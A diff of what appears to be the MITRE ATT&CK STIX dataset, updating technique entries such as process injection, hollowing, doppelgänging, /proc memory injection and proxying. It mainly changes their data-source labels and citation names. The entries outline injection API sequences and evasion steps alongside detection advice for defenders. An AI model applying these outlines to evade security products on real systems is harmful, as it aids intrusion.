correlate with known good software or patching may be suspicious.", "x_mitre_data_sources": [ - "Process monitoring", - "Windows Registry", - "File monitoring", - "DLL monitoring", - "API monitoring" + "File: File Creation", + "Process: OS API Execution", + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load" ], "x_mitre_contributors": [ "Mathieu Tartare, ESET" @@ -23944,7 +25244,8 @@ "Itzik Kotler, SafeBreach" ], "x_mitre_data_sources": [ - "File monitoring" + "File: File Access", + "Command: Command Execution" ], "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.", "x_mitre_permissions_required": [ @@ -23983,7 +25284,8 @@ "modified": "2020-03-19T15:32:18.098Z", "created": "2020-02-11T18:46:24.434Z", "x_mitre_data_sources": [ - "Process monitoring" + "Command: Command Execution", + "File: File Access" ], "x_mitre_permissions_required": [ "root" @@ -24023,7 +25325,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Proc Memory", - "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ", "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", "type": "attack-pattern", "kill_chain_phases": [ @@ -24043,8 +25345,7 @@ "Anti-virus" ], "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "File: File Modification" ], "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_version": "1.0", @@ -24054,18 +25355,10 @@ ] }, { - "created": "2017-05-31T21:30:48.728Z", - "modified": "2020-03-26T18:05:53.130Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "type": "attack-pattern", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Process Discovery", + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.", "external_references": [ { "source_name": "mitre-attack", @@ -24078,31 +25371,39 @@ "url": "https://capec.mitre.org/data/definitions/573.html" } ], - "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.", - "name": "Process Discovery", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "x_mitre_version": "1.2", - "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "modified": "2020-03-26T18:05:53.130Z", + "created": "2017-05-31T21:30:48.728Z", + "x_mitre_is_subtechnique": false, + "x_mitre_system_requirements": [ + "Administrator, SYSTEM may provide better process ownership details" ], "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], - "x_mitre_system_requirements": [ - "Administrator, SYSTEM may provide better process ownership details" + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" ], - "x_mitre_is_subtechnique": false + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.2" }, { "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", @@ -24192,7 +25493,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Process Doppelg\u00e4nging", - "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ", + "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ", "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", "type": "attack-pattern", "kill_chain_phases": [ @@ -24205,16 +25506,15 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-06-20T22:27:21.304Z", + "modified": "2021-02-09T15:43:48.848Z", "created": "2020-01-14T17:19:50.978Z", "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "API monitoring" + "Process: OS API Execution", + "File: File Metadata" ], "x_mitre_permissions_required": [ "Administrator", @@ -24245,12 +25545,12 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" } ], "revoked": true, "type": "attack-pattern", - "modified": "2020-01-14T17:24:47.386Z", + "modified": "2020-11-10T18:29:30.437Z", "created": "2017-05-31T21:31:09.815Z" }, { @@ -24268,7 +25568,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" } ], "object_marking_refs": [ @@ -24276,7 +25576,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Process Hollowing", - "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Endgame Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", + "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "type": "attack-pattern", "kill_chain_phases": [ @@ -24289,20 +25589,20 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-06-20T22:28:08.758Z", + "modified": "2020-11-10T18:29:31.031Z", "created": "2020-01-14T17:21:54.470Z", "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_data_sources": [ - "Process monitoring", - "API monitoring" + "Process: OS API Execution", + "Process: Process Access" ], "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ @@ -24310,10 +25610,22 @@ ] }, { - "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Process Injection", - "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", + "created": "2017-05-31T21:30:47.843Z", + "modified": "2021-02-09T15:43:50.029Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "type": "attack-pattern", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -24328,7 +25640,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", @@ -24355,46 +25667,34 @@ "source_name": "Microsoft Sysmon v6 May 2017" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "modified": "2020-06-20T22:28:45.651Z", - "created": "2017-05-31T21:30:47.843Z", - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "x_mitre_data_sources": [ - "API monitoring", - "File monitoring", - "DLL monitoring", - "Process monitoring", - "Named Pipes" - ], + "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", + "name": "Process Injection", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.1", "x_mitre_contributors": [ "Anastasios Pingios", "Christiaan Beek, @ChristiaanBeek", "Ryan Becwar" ], - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": false + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: OS API Execution", + "Process: Process Access", + "File: File Modification", + "File: File Metadata" + ], + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] }, { "external_references": [ @@ -24429,10 +25729,7 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -24483,11 +25780,9 @@ "x_mitre_is_subtechnique": false, "x_mitre_detection": "Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Network protocol analysis", - "Process monitoring", - "Process use of network", - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -24496,9 +25791,19 @@ ] }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:31:08.479Z", + "modified": "2020-10-21T17:54:28.531Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } ], + "type": "attack-pattern", + "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Proxy", + "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "external_references": [ { "source_name": "mitre-attack", @@ -24516,40 +25821,28 @@ "source_name": "University of Birmingham C2" } ], - "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", - "name": "Proxy", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-10-21T17:54:28.531Z", - "created": "2017-05-31T21:31:08.479Z", - "x_mitre_version": "3.1", - "x_mitre_contributors": [ - "Brian Prange", - "Heather Linn", - "Walker Johnson" - ], - "x_mitre_data_sources": [ - "SSL/TLS inspection", - "Process use of network", - "Process monitoring", - "Netflow/Enclave netflow", - "Packet capture" - ], - "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).", + "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Network" ], - "x_mitre_is_subtechnique": false + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_contributors": [ + "Brian Prange", + "Heather Linn", + "Walker Johnson" + ], + "x_mitre_version": "3.1" }, { "external_references": [ @@ -24618,8 +25911,8 @@ "Application control" ], "x_mitre_data_sources": [ - "System calls", - "Process monitoring" + "Process: OS API Execution", + "Process: Process Access" ], "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_version": "1.0", @@ -24664,8 +25957,9 @@ ], "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Script: Script Execution" ], "x_mitre_platforms": [ "Windows" @@ -24689,7 +25983,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Purchase Technical Data", - "description": "Before compromising a victim, adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not 